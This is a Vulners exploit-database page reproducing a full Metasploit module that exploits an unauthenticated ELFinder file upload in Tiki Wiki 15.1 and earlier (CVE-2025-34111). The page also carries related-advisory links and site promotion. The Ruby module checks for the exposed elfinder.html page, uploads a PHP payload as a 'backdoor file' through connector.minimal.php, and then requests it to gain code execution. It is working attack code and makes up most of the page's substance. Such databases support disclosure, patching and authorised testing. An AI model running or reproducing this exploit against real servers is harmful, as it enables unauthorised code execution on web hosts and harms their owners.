Lucene search
+L

Tiki Wiki Unauthenticated File Upload Vulnerability

🗓️ 11 Jul 2016 00:00:00Reported by Mehmet Ince <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

Tiki Wiki Unauthenticated File Upload Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-34111
15 Jul 202513:09
attackerkb
circl
Circl
CVE-2025-34111
29 May 201815:50
circl
cnnvd
CNNVD
Tiki Wiki CMS Groupware 安全漏洞
15 Jul 202500:00
cnnvd
cve
CVE
CVE-2025-34111
15 Jul 202513:09
cve
cvelist
Cvelist
CVE-2025-34111 Tiki Wiki <= 15.1 ELFinder Unauthenticated File Upload RCE
15 Jul 202513:09
cvelist
euvd
EUVD
EUVD-2025-21425
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-34111
15 Jul 202513:15
nvd
openvas
OpenVAS
Tiki Wiki CMS Groupware File Upload Vulnerability (Jul 2016)
13 Jul 201600:00
openvas
osv
OSV
CVE-2025-34111
15 Jul 202513:15
osv
ptsecurity
Positive Technologies
PT-2025-29553 · Unknown +1 · Tikiwiki Cms/Groupware +1
15 Jul 202500:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tiki Wiki Unauthenticated File Upload Vulnerability',
        'Description' => %q{
          This module exploits a file upload vulnerability in Tiki Wiki <= 15.1
          which could be abused to allow unauthenticated users to execute arbitrary code
          under the context of the web server user.

          The issue comes with one of the 3rd party components. Name of that component is
          ELFinder -version 2.0-. This component comes with default example page which
          demonstrates file operations such as upload, remove, rename, create directory etc.
          Default configuration does not force validations such as file extension, content-type etc.
          Thus, unauthenticated user can upload PHP file.

          The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1.
        },
        'Author' => [
          'Mehmet Ince <[email protected]>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2025-34111' ],
          [ 'URL', 'https://www.mehmetince.net/exploit/tiki-wiki-unauthenticated-file-upload-vulnerability' ],
          [ 'URL', 'https://tiki.org/article434-Security-update-Tiki-15-2-Tiki-14-4-and-Tiki-12-9-released' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [ ['Automatic', {}] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-07-11',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Installed path of Tiki Wiki", "/tiki/"])
      ]
    )
  end

  def check
    url = normalize_uri(target_uri.path, "vendor_extra/elfinder/elfinder.html")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )

    if res && res.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    filename = rand_text_alpha(8 + rand(4)) + '.php'
    register_file_for_cleanup(filename)

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="cmd"')
    data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"")

    print_status("Uploading backdoor file: #{filename}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/php/connector.minimal.php"),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    })

    if res && res.code == 200
      print_good("Backdoor successfully created.")
    else
      fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
    end

    print_status("Trigging the exploit...")
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/" + filename)
    }, 5)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jul 2016 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.19.8
CVSS 49.3
EPSS0.01521
SSVC
23